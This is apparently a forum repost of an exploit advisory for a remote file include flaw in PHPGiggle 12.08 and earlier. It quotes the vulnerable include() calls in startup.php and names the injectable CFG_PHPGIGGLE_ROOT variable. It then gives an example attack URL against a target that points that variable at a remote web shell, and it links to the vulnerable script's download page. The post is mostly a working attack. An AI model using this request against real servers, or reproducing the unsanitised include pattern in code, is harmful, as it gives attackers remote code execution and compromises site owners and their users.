PHPGiggle 12.08 (CFG_PHPGIGGLE_ROOT) File Include
[code]*******************************************************************************
# Title : Php Giggle <= 12.08 Remote File Include Vulnerability
# Author : ajann
# Vuln;
*******************************************************************************
[File]
startup.php
[/File]
[Code,1]
startup.php Error:
..
....
include($CFG_PHPGIGGLE_ROOT . $CFG_MODULE_ROOT .
"/kernel/system/modregistry.inc.php");
include($CFG_PHPGIGGLE_ROOT . $CFG_MODULE_ROOT .
"/kernel/public/msg.func.php");
include($CFG_PHPGIGGLE_ROOT . $CFG_MODULE_ROOT .
"/kernel/public/fileio.func.php");
//once the file I/O wrapper is brought up, it is convenient to use
//function fileInclude
....
..
Key [:] CFG_PHPGIGGLE_ROOT=[file]
\Example:
[url]http://target.com/path/modules/kernel/system/startup.php?CFG_PHPGIGGLE_ROOT=[/url][Shell]
# ajann,Turkey
# ...
# Im not Hacker!
[url]http://www.comscripts.com/scripts/php.phpgiggle.565.html[/url] => Télécharger
[/code]
页:
[1]